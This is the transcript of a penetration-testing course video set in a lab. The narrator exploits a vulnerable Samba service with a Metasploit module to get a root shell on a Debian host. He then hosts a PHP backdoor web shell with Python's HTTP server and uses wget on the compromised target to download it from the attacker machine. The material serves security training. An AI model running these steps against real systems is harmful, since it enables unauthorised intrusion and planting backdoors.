WEBVTT

00:00:00.000 --> 00:00:03.856 align:middle line:90%


00:00:03.856 --> 00:00:07.230 align:middle line:90%
[MUSIC LOGO]

00:00:07.230 --> 00:00:10.140 align:middle line:90%


00:00:10.140 --> 00:00:12.570 align:middle line:84%
Transferring files
to Linux targets.

00:00:12.570 --> 00:00:14.280 align:middle line:84%
In this video, we
will be exploring

00:00:14.280 --> 00:00:18.450 align:middle line:84%
the process of how to transfer
a file to a Linux target

00:00:18.450 --> 00:00:19.830 align:middle line:90%
that you have compromised.

00:00:19.830 --> 00:00:22.650 align:middle line:84%
And again, this is going
to be done in conjunction

00:00:22.650 --> 00:00:24.570 align:middle line:84%
with the Python
web server that we

00:00:24.570 --> 00:00:28.420 align:middle line:84%
were able to set up in the
first video of this section.

00:00:28.420 --> 00:00:32.580 align:middle line:84%
So again, this video has a lab
environment attached to it.

00:00:32.580 --> 00:00:35.790 align:middle line:84%
And we're going to start off
by exploiting the target system

00:00:35.790 --> 00:00:38.580 align:middle line:84%
or gaining access to it,
after which we'll actually

00:00:38.580 --> 00:00:41.400 align:middle line:84%
cover the process of
how you can set up

00:00:41.400 --> 00:00:44.550 align:middle line:84%
or how you can transfer a file
to the Linux target system

00:00:44.550 --> 00:00:47.130 align:middle line:84%
that you have just
compromised, through the use

00:00:47.130 --> 00:00:50.920 align:middle line:84%
of an in-built Linux
utility or command.

00:00:50.920 --> 00:00:53.190 align:middle line:84%
So just fire up the
lab environment,

00:00:53.190 --> 00:00:55.560 align:middle line:84%
and I'll see you there
in a couple of seconds.

00:00:55.560 --> 00:01:00.270 align:middle line:90%


00:01:00.270 --> 00:01:02.730 align:middle line:84%
So I'm back within
the lab environment.

00:01:02.730 --> 00:01:07.500 align:middle line:84%
And in this lab environment, you
will not be provided with a UI,

00:01:07.500 --> 00:01:11.040 align:middle line:84%
with graphical user interface,
on the Kali Linux system.

00:01:11.040 --> 00:01:15.030 align:middle line:84%
You'll be provided with a
simple terminal interface.

00:01:15.030 --> 00:01:15.720 align:middle line:90%
But that's fine.

00:01:15.720 --> 00:01:18.700 align:middle line:84%
So the first step, of course,
is to identify the target IP

00:01:18.700 --> 00:01:19.200 align:middle line:90%
address.

00:01:19.200 --> 00:01:21.780 align:middle line:84%
We can do this by
typing in ifconfig.

00:01:21.780 --> 00:01:24.770 align:middle line:84%
And if you take a look at
the interface, ethernet 1

00:01:24.770 --> 00:01:27.450 align:middle line:84%
and the inet value
here, all you want to do

00:01:27.450 --> 00:01:28.680 align:middle line:90%
is just copy that value.

00:01:28.680 --> 00:01:31.380 align:middle line:84%
This is the IP address
of the Kali Linux system.

00:01:31.380 --> 00:01:34.140 align:middle line:84%
In your case, the subnet
will be different.

00:01:34.140 --> 00:01:37.500 align:middle line:84%
And in the case of
the target system,

00:01:37.500 --> 00:01:41.160 align:middle line:84%
the target IP address is
going to be the same subnet

00:01:41.160 --> 00:01:43.140 align:middle line:90%
but on the IP address 3.

00:01:43.140 --> 00:01:46.680 align:middle line:84%
So just copy this and change
the 2 at the end here to a 3.

00:01:46.680 --> 00:01:48.270 align:middle line:90%
And that's the target IP.

00:01:48.270 --> 00:01:51.420 align:middle line:84%
So the next step, of course,
will involve gaining access

00:01:51.420 --> 00:01:52.470 align:middle line:90%
to the target system.

00:01:52.470 --> 00:01:54.990 align:middle line:84%
In order to do that, we're
going to firstly need

00:01:54.990 --> 00:01:58.110 align:middle line:84%
to perform a quick
Nmap service version

00:01:58.110 --> 00:01:59.740 align:middle line:90%
detection scan on the target.

00:01:59.740 --> 00:02:02.070 align:middle line:84%
So I'll paste in
the IP I copied,

00:02:02.070 --> 00:02:04.020 align:middle line:90%
and I'll change the 2 to a 3.

00:02:04.020 --> 00:02:05.340 align:middle line:90%
And I'll hit Enter.

00:02:05.340 --> 00:02:08.520 align:middle line:84%
And let's see what services are
running on the target system.

00:02:08.520 --> 00:02:11.710 align:middle line:90%


00:02:11.710 --> 00:02:13.270 align:middle line:90%
So the Nmap scan is complete.

00:02:13.270 --> 00:02:16.930 align:middle line:84%
And we have been able to gain
quite a bit of information

00:02:16.930 --> 00:02:18.490 align:middle line:90%
in regards to the services.

00:02:18.490 --> 00:02:23.470 align:middle line:84%
We can see that on both
port 139 and port 445,

00:02:23.470 --> 00:02:26.230 align:middle line:84%
we have Samba, the
Samba service running.

00:02:26.230 --> 00:02:29.680 align:middle line:84%
So Samba is the
Linux implementation

00:02:29.680 --> 00:02:32.080 align:middle line:90%
of SMB for Linux systems.

00:02:32.080 --> 00:02:34.240 align:middle line:84%
And this specific
version of Samba

00:02:34.240 --> 00:02:37.510 align:middle line:84%
is vulnerable to a
specific exploit.

00:02:37.510 --> 00:02:41.560 align:middle line:84%
And this exploit is available
on the Metasploit framework

00:02:41.560 --> 00:02:43.700 align:middle line:84%
in the form of an
exploit module.

00:02:43.700 --> 00:02:45.910 align:middle line:84%
So again, we're going to
be utilizing the Metasploit

00:02:45.910 --> 00:02:49.370 align:middle line:84%
framework exploit module to gain
access to the target system.

00:02:49.370 --> 00:02:51.880 align:middle line:84%
However, we will not be
utilizing the meterpreter

00:02:51.880 --> 00:02:52.670 align:middle line:90%
session.

00:02:52.670 --> 00:02:55.780 align:middle line:84%
We will instead open up
the command shell session

00:02:55.780 --> 00:02:58.270 align:middle line:84%
and then take a look
at file transfers.

00:02:58.270 --> 00:03:01.780 align:middle line:84%
Now, before we actually
open up msfconsole,

00:03:01.780 --> 00:03:04.810 align:middle line:84%
you probably would have realized
that this lab environment does

00:03:04.810 --> 00:03:06.910 align:middle line:84%
not provide you with
the ability to open up

00:03:06.910 --> 00:03:09.130 align:middle line:90%
a new tab or a new terminal.

00:03:09.130 --> 00:03:11.200 align:middle line:84%
And for that reason,
as we will be

00:03:11.200 --> 00:03:13.490 align:middle line:84%
needing more than
one terminal session,

00:03:13.490 --> 00:03:16.420 align:middle line:84%
we are going to be utilizing
a command line tool,

00:03:16.420 --> 00:03:19.180 align:middle line:84%
more specifically, a
Linux command line utility

00:03:19.180 --> 00:03:20.480 align:middle line:90%
called tmux.

00:03:20.480 --> 00:03:23.590 align:middle line:84%
Tmux is a terminal
multiplexer that

00:03:23.590 --> 00:03:25.720 align:middle line:84%
allows you to have
multiple terminal

00:03:25.720 --> 00:03:27.880 align:middle line:90%
sessions within one terminal.

00:03:27.880 --> 00:03:30.610 align:middle line:84%
And you can access
it by typing in tmux.

00:03:30.610 --> 00:03:34.330 align:middle line:84%
And the way it works is your
actual terminal sessions

00:03:34.330 --> 00:03:36.700 align:middle line:84%
or Windows are
highlighted at the bottom.

00:03:36.700 --> 00:03:40.840 align:middle line:84%
So they're ordered from 0 all
the way to as many terminals

00:03:40.840 --> 00:03:41.830 align:middle line:90%
as you open.

00:03:41.830 --> 00:03:44.180 align:middle line:84%
And if you want to
create a new one,

00:03:44.180 --> 00:03:50.350 align:middle line:84%
you can do that by utilizing the
keyboard combination Control-B

00:03:50.350 --> 00:03:54.220 align:middle line:84%
or you can just type in Control
and B or hold the keys there.

00:03:54.220 --> 00:03:56.770 align:middle line:90%
So Control-B and C.

00:03:56.770 --> 00:03:59.650 align:middle line:84%
So Control-B and C. And that
will open up a new terminal

00:03:59.650 --> 00:04:00.280 align:middle line:90%
session.

00:04:00.280 --> 00:04:02.740 align:middle line:84%
And the current terminal
that you're active on

00:04:02.740 --> 00:04:05.530 align:middle line:84%
is denoted by the
asterisk symbol.

00:04:05.530 --> 00:04:06.910 align:middle line:84%
So you can see
that I'm currently

00:04:06.910 --> 00:04:08.800 align:middle line:90%
in the terminal session 1 here.

00:04:08.800 --> 00:04:11.410 align:middle line:84%
If I wanted to go back
to terminal session 0,

00:04:11.410 --> 00:04:13.990 align:middle line:90%
I can say Control-B and 0.

00:04:13.990 --> 00:04:16.190 align:middle line:84%
And you can now see I'm
back on that session.

00:04:16.190 --> 00:04:19.180 align:middle line:84%
So again, if you want to create
a new terminal window, just

00:04:19.180 --> 00:04:23.380 align:middle line:84%
Control-B and C. And once you
want to exit out of a terminal

00:04:23.380 --> 00:04:25.090 align:middle line:90%
session, you just type in exit.

00:04:25.090 --> 00:04:28.960 align:middle line:84%
And it'll close it up, and I
can go back into terminal 1.

00:04:28.960 --> 00:04:32.140 align:middle line:84%
And I can exit from
that one as well.

00:04:32.140 --> 00:04:34.900 align:middle line:84%
So we're currently within
the terminal session 0.

00:04:34.900 --> 00:04:37.720 align:middle line:84%
So again, I'll just get
the target IP address.

00:04:37.720 --> 00:04:39.470 align:middle line:90%
And we can open up msfconsole.

00:04:39.470 --> 00:04:41.770 align:middle line:84%
So I'll just copy
the inet value there.

00:04:41.770 --> 00:04:44.170 align:middle line:90%
And I'll say msfconsole.

00:04:44.170 --> 00:04:46.705 align:middle line:84%
And we'll give this a couple
of seconds to complete.

00:04:46.705 --> 00:04:50.248 align:middle line:90%


00:04:50.248 --> 00:04:50.790 align:middle line:90%
There we are.

00:04:50.790 --> 00:04:53.280 align:middle line:84%
The Metasploit framework
console is now up and running.

00:04:53.280 --> 00:04:55.200 align:middle line:84%
We are then going to
set the global variable

00:04:55.200 --> 00:04:56.640 align:middle line:90%
for the RHOST option.

00:04:56.640 --> 00:04:58.820 align:middle line:84%
And we'll set the
target IP address.

00:04:58.820 --> 00:05:00.930 align:middle line:84%
So I'll just paste
in the IP I copied,

00:05:00.930 --> 00:05:02.880 align:middle line:90%
and I'll change the 2 to a 3.

00:05:02.880 --> 00:05:06.120 align:middle line:84%
And the reason we're
setting the RHOST value

00:05:06.120 --> 00:05:08.610 align:middle line:84%
globally is so that
whenever we open up or load

00:05:08.610 --> 00:05:11.520 align:middle line:84%
a particular module,
the target IP option

00:05:11.520 --> 00:05:15.240 align:middle line:84%
is going to be specified
already for us, without us

00:05:15.240 --> 00:05:16.680 align:middle line:90%
having to specify it.

00:05:16.680 --> 00:05:17.910 align:middle line:90%
So I'll hit Enter.

00:05:17.910 --> 00:05:21.150 align:middle line:84%
We can then search for-- we
can just say search samba.

00:05:21.150 --> 00:05:24.150 align:middle line:84%
And the exploit module
that we want to use is--

00:05:24.150 --> 00:05:27.150 align:middle line:84%
let me see if I can
identify it here.

00:05:27.150 --> 00:05:28.950 align:middle line:90%
It should actually show up here.

00:05:28.950 --> 00:05:32.958 align:middle line:90%


00:05:32.958 --> 00:05:34.750 align:middle line:84%
So it doesn't look like
it's shown up here.

00:05:34.750 --> 00:05:37.350 align:middle line:84%
So I can just say
search, and I can

00:05:37.350 --> 00:05:41.460 align:middle line:84%
say pipe is known, because I
know that's the module name.

00:05:41.460 --> 00:05:43.070 align:middle line:90%
So I'll just say search again.

00:05:43.070 --> 00:05:46.230 align:middle line:90%
So samba pipe.

00:05:46.230 --> 00:05:46.830 align:middle line:90%
There we are.

00:05:46.830 --> 00:05:50.220 align:middle line:84%
And in this case, it doesn't
look like that is actually

00:05:50.220 --> 00:05:51.070 align:middle line:90%
being displayed.

00:05:51.070 --> 00:05:53.040 align:middle line:90%
So we can just say search samba.

00:05:53.040 --> 00:05:56.700 align:middle line:84%
And to actually scroll
through a list with tmux,

00:05:56.700 --> 00:05:59.350 align:middle line:84%
you can't actually use
your mouse scroll wheel.

00:05:59.350 --> 00:06:02.080 align:middle line:84%
You have to use the
Control-B option.

00:06:02.080 --> 00:06:04.620 align:middle line:84%
And then you can utilize your
Page Up and Page Down keys

00:06:04.620 --> 00:06:06.520 align:middle line:90%
on your keyboard.

00:06:06.520 --> 00:06:08.198 align:middle line:84%
So again, let me see
if I can find it.

00:06:08.198 --> 00:06:08.740 align:middle line:90%
There we are.

00:06:08.740 --> 00:06:10.380 align:middle line:90%
That's the exploit module there.

00:06:10.380 --> 00:06:14.700 align:middle line:84%
So it's exploit Linux
Samba is known pipe name.

00:06:14.700 --> 00:06:15.510 align:middle line:90%
So there we are.

00:06:15.510 --> 00:06:19.440 align:middle line:84%
And that will essentially
allow us to load a custom Linux

00:06:19.440 --> 00:06:21.270 align:middle line:84%
shared object and
then execute it

00:06:21.270 --> 00:06:23.940 align:middle line:84%
in order to receive a
meterpreter session.

00:06:23.940 --> 00:06:27.270 align:middle line:84%
Once you're done scrolling,
hit the Q key on your keyboard,

00:06:27.270 --> 00:06:30.450 align:middle line:84%
and that will allow you to
type into your terminal.

00:06:30.450 --> 00:06:33.990 align:middle line:84%
So we'll say use and paste
the module name in there.

00:06:33.990 --> 00:06:36.930 align:middle line:84%
If we show the options,
you can see that the target

00:06:36.930 --> 00:06:38.580 align:middle line:90%
IP is already specified.

00:06:38.580 --> 00:06:42.270 align:middle line:84%
The target port is set correctly
to the default smb, or Samba

00:06:42.270 --> 00:06:44.220 align:middle line:90%
port, which is port 445.

00:06:44.220 --> 00:06:48.150 align:middle line:84%
And we can type in exploit, and
we should receive a meterpreter

00:06:48.150 --> 00:06:48.780 align:middle line:90%
session.

00:06:48.780 --> 00:06:50.130 align:middle line:90%
So there we are.

00:06:50.130 --> 00:06:53.655 align:middle line:84%
We'll give it a
couple of seconds.

00:06:53.655 --> 00:06:55.280 align:middle line:84%
And in this case, it
doesn't provide us

00:06:55.280 --> 00:06:57.960 align:middle line:84%
with a meterpreter
session, which is great.

00:06:57.960 --> 00:06:59.630 align:middle line:84%
This will actually
work in our benefit

00:06:59.630 --> 00:07:02.240 align:middle line:84%
to showcase how we
can transfer files

00:07:02.240 --> 00:07:05.510 align:middle line:84%
without the need of a
meterpreter session.

00:07:05.510 --> 00:07:07.910 align:middle line:84%
So I'll open up a
bash session here

00:07:07.910 --> 00:07:10.070 align:middle line:84%
because it's opened up
the command shell session,

00:07:10.070 --> 00:07:11.450 align:middle line:90%
and it is noninteractive.

00:07:11.450 --> 00:07:13.700 align:middle line:84%
So I'll say bin/bash
-i, and you can

00:07:13.700 --> 00:07:15.380 align:middle line:84%
see that our
current user is root

00:07:15.380 --> 00:07:17.150 align:middle line:90%
and the host name is victim-1.

00:07:17.150 --> 00:07:18.150 align:middle line:90%
So ID.

00:07:18.150 --> 00:07:18.870 align:middle line:90%
There we are.

00:07:18.870 --> 00:07:22.620 align:middle line:84%
And we know it's run, and we can
also enumerate the distribution

00:07:22.620 --> 00:07:23.120 align:middle line:90%
version.

00:07:23.120 --> 00:07:25.490 align:middle line:90%
So I can say cat etc release.

00:07:25.490 --> 00:07:28.370 align:middle line:84%
So I'll just say
cat/etc and release.

00:07:28.370 --> 00:07:29.360 align:middle line:90%
There we are.

00:07:29.360 --> 00:07:31.820 align:middle line:84%
And you can see it's
running Debian 8 jessie.

00:07:31.820 --> 00:07:35.840 align:middle line:84%
So we have a vague idea, or
rather, a basic idea of what

00:07:35.840 --> 00:07:38.000 align:middle line:84%
is running in terms
of the distribution.

00:07:38.000 --> 00:07:40.500 align:middle line:84%
But that's really not
what we're interested in.

00:07:40.500 --> 00:07:42.440 align:middle line:84%
So we're currently within
the temp directory,

00:07:42.440 --> 00:07:43.820 align:middle line:90%
which again, is great.

00:07:43.820 --> 00:07:45.560 align:middle line:84%
And we are going
to be transferring

00:07:45.560 --> 00:07:47.990 align:middle line:90%
our files to this directory.

00:07:47.990 --> 00:07:51.950 align:middle line:84%
So how do we download a
file onto the target system

00:07:51.950 --> 00:07:53.000 align:middle line:90%
without meterpreter?

00:07:53.000 --> 00:07:55.540 align:middle line:84%
Well, this is where the
tmux comes into play.

00:07:55.540 --> 00:07:57.620 align:middle line:84%
So we're going to open up
a new terminal session.

00:07:57.620 --> 00:08:03.590 align:middle line:84%
So we just type in Control-B. So
I'll just say Control-B and C.

00:08:03.590 --> 00:08:05.870 align:middle line:84%
And that will open
up a new terminal.

00:08:05.870 --> 00:08:08.130 align:middle line:84%
And our previous session
is still running.

00:08:08.130 --> 00:08:09.620 align:middle line:90%
It's in terminal 0.

00:08:09.620 --> 00:08:12.620 align:middle line:84%
So within this
terminal, this is where

00:08:12.620 --> 00:08:16.130 align:middle line:84%
we'll be setting up our
web server with Python.

00:08:16.130 --> 00:08:19.040 align:middle line:84%
So we actually need to
identify or find a file

00:08:19.040 --> 00:08:20.580 align:middle line:90%
that we would like to transfer.

00:08:20.580 --> 00:08:23.570 align:middle line:84%
So for example, if I
wanted to transfer a shell,

00:08:23.570 --> 00:08:25.820 align:middle line:90%
so I can just say--

00:08:25.820 --> 00:08:28.910 align:middle line:84%
I'll go under user
share web shells.

00:08:28.910 --> 00:08:32.750 align:middle line:84%
And let's say I wanted to
transfer a PHP web shell,

00:08:32.750 --> 00:08:35.000 align:middle line:90%
like so.

00:08:35.000 --> 00:08:38.900 align:middle line:84%
So let's say I wanted to
download the php-backdoor.php

00:08:38.900 --> 00:08:40.159 align:middle line:90%
web shell onto the target.

00:08:40.159 --> 00:08:42.690 align:middle line:84%
I've navigated to
that directory.

00:08:42.690 --> 00:08:46.880 align:middle line:84%
I can then set up the web
server with the Python 3 module.

00:08:46.880 --> 00:08:49.760 align:middle line:90%
So python3 -m http.server.

00:08:49.760 --> 00:08:52.550 align:middle line:90%
And I'll host this on port 80.

00:08:52.550 --> 00:08:56.310 align:middle line:84%
But before I do that, I actually
need to find my IP address.

00:08:56.310 --> 00:08:59.120 align:middle line:90%
So I'll just ifconfig.

00:08:59.120 --> 00:09:01.550 align:middle line:84%
And I'll just copy the
Kali Linux IP there.

00:09:01.550 --> 00:09:08.050 align:middle line:84%
I can then say pythom3
-m http.server, port 80.

00:09:08.050 --> 00:09:08.740 align:middle line:90%
Hit Enter.

00:09:08.740 --> 00:09:11.455 align:middle line:84%
And that's going to host all
the files within the directory

00:09:11.455 --> 00:09:14.950 align:middle line:90%
usr/share/webshells/php#.

00:09:14.950 --> 00:09:17.670 align:middle line:84%
And in specific, we want
to download a file called

00:09:17.670 --> 00:09:18.775 align:middle line:90%
php-backdoor.php.

00:09:18.775 --> 00:09:21.280 align:middle line:90%


00:09:21.280 --> 00:09:24.790 align:middle line:84%
So we'll navigate to
the terminal session 0,

00:09:24.790 --> 00:09:28.750 align:middle line:84%
and we can do that by
saying Control-B and 0.

00:09:28.750 --> 00:09:31.510 align:middle line:84%
So I'll just say
Control-B and 0.

00:09:31.510 --> 00:09:32.680 align:middle line:90%
There we are.

00:09:32.680 --> 00:09:33.890 align:middle line:90%
And we're back here.

00:09:33.890 --> 00:09:36.970 align:middle line:84%
So how do we transfer the
file or how do we download it?

00:09:36.970 --> 00:09:39.670 align:middle line:84%
Well, we can download a
file onto a Linux target

00:09:39.670 --> 00:09:42.170 align:middle line:84%
through the use of
the wget utility.

00:09:42.170 --> 00:09:43.690 align:middle line:90%
So we can say wget.

00:09:43.690 --> 00:09:46.910 align:middle line:84%
We then specify the
address of the web server.

00:09:46.910 --> 00:09:49.060 align:middle line:84%
So we paste in
the Kali Linux IP.

00:09:49.060 --> 00:09:54.850 align:middle line:84%
And the file that we want to
download is php-backdoor.php.

00:09:54.850 --> 00:09:57.133 align:middle line:84%
And once I hit Enter,
it should download it.

00:09:57.133 --> 00:09:57.800 align:middle line:90%
So there we are.

00:09:57.800 --> 00:09:59.500 align:middle line:90%
It'll connect to the web server.

00:09:59.500 --> 00:10:02.920 align:middle line:84%
It's going to send
an http request.

00:10:02.920 --> 00:10:05.980 align:middle line:84%
And it's going to save
it as php-backdoor.php.

00:10:05.980 --> 00:10:09.160 align:middle line:84%
We can confirm that the file has
been downloaded by saying ls,

00:10:09.160 --> 00:10:12.400 align:middle line:84%
and you can see we have
php-backdoor running

00:10:12.400 --> 00:10:13.690 align:middle line:90%
right over there.

00:10:13.690 --> 00:10:17.890 align:middle line:84%
So that is how to transfer
files onto a Linux target

00:10:17.890 --> 00:10:20.200 align:middle line:90%
system using the wget utility.

00:10:20.200 --> 00:10:23.000 align:middle line:84%
Of course, we can also take a
look at a few other examples.

00:10:23.000 --> 00:10:26.140 align:middle line:84%
So I'll say Control
B and 1 to navigate

00:10:26.140 --> 00:10:27.460 align:middle line:90%
to my terminal session 1.

00:10:27.460 --> 00:10:29.110 align:middle line:84%
And I can transfer
any other file

00:10:29.110 --> 00:10:30.740 align:middle line:90%
that I would like to transfer.

00:10:30.740 --> 00:10:35.620 align:middle line:84%
So for example, I could
navigate to the root here.

00:10:35.620 --> 00:10:37.160 align:middle line:90%
And I can create a new file.

00:10:37.160 --> 00:10:45.070 align:middle line:84%
So I'll just say echo
this is some test text.

00:10:45.070 --> 00:10:48.640 align:middle line:84%
And I'll put that into
a file called test.txt,

00:10:48.640 --> 00:10:50.080 align:middle line:90%
as we did for Windows.

00:10:50.080 --> 00:10:52.910 align:middle line:84%
And if I kept the
content of test.txt

00:10:52.910 --> 00:10:54.740 align:middle line:84%
you can see it
contains that data.

00:10:54.740 --> 00:10:56.980 align:middle line:84%
So we can now set
up the web server

00:10:56.980 --> 00:11:01.910 align:middle line:84%
with Python in this directory
to host the test.txt file.

00:11:01.910 --> 00:11:03.040 align:middle line:90%
So I'll hit Enter.

00:11:03.040 --> 00:11:05.710 align:middle line:90%
And I'll say Control-B and 0.

00:11:05.710 --> 00:11:08.590 align:middle line:84%
And we can again utilize
the wget utility.

00:11:08.590 --> 00:11:13.810 align:middle line:84%
So wget http, and I'll
paste in the Kali Linux IP,

00:11:13.810 --> 00:11:17.860 align:middle line:84%
and we want to download
test.txt from the web server.

00:11:17.860 --> 00:11:18.940 align:middle line:90%
I'll hit Enter.

00:11:18.940 --> 00:11:19.970 align:middle line:90%
That is done.

00:11:19.970 --> 00:11:23.080 align:middle line:84%
I can then get the
content of test.txt.

00:11:23.080 --> 00:11:24.800 align:middle line:90%
And voila, there we are.

00:11:24.800 --> 00:11:29.260 align:middle line:84%
So that is how you can transfer
files to a Linux target system

00:11:29.260 --> 00:11:31.700 align:middle line:84%
without the need of a
meterpreter session.

00:11:31.700 --> 00:11:34.630 align:middle line:84%
So that is going to conclude
the practical demonstration

00:11:34.630 --> 00:11:37.090 align:middle line:90%
side of this video.

00:11:37.090 --> 00:11:39.730 align:middle line:84%
So that concludes the
file transfer section

00:11:39.730 --> 00:11:41.710 align:middle line:90%
of this course.

00:11:41.710 --> 00:11:44.210 align:middle line:84%
By the end of this section,
which is this video,

00:11:44.210 --> 00:11:46.990 align:middle line:84%
you should have an understanding
of how to transfer files

00:11:46.990 --> 00:11:50.680 align:middle line:84%
onto a Windows target as
well as a Linux target

00:11:50.680 --> 00:11:54.130 align:middle line:84%
and how to set up a web server
with Python to host the files

00:11:54.130 --> 00:11:55.630 align:middle line:90%
that you'd like to transfer.

00:11:55.630 --> 00:11:57.650 align:middle line:84%
In the next section
of this course,

00:11:57.650 --> 00:11:59.650 align:middle line:84%
we will be exploring
the process of how

00:11:59.650 --> 00:12:03.490 align:middle line:84%
to upgrade a standard
noninteractive command shell

00:12:03.490 --> 00:12:07.630 align:middle line:84%
session into a bash session
and how you can essentially

00:12:07.630 --> 00:12:12.040 align:middle line:84%
ensure that the terminal
session that you want to acquire

00:12:12.040 --> 00:12:13.390 align:middle line:90%
is interactive.

00:12:13.390 --> 00:12:17.220 align:middle line:84%
So I'll be seeing you
in the next video.

00:12:17.220 --> 00:12:18.000 align:middle line:90%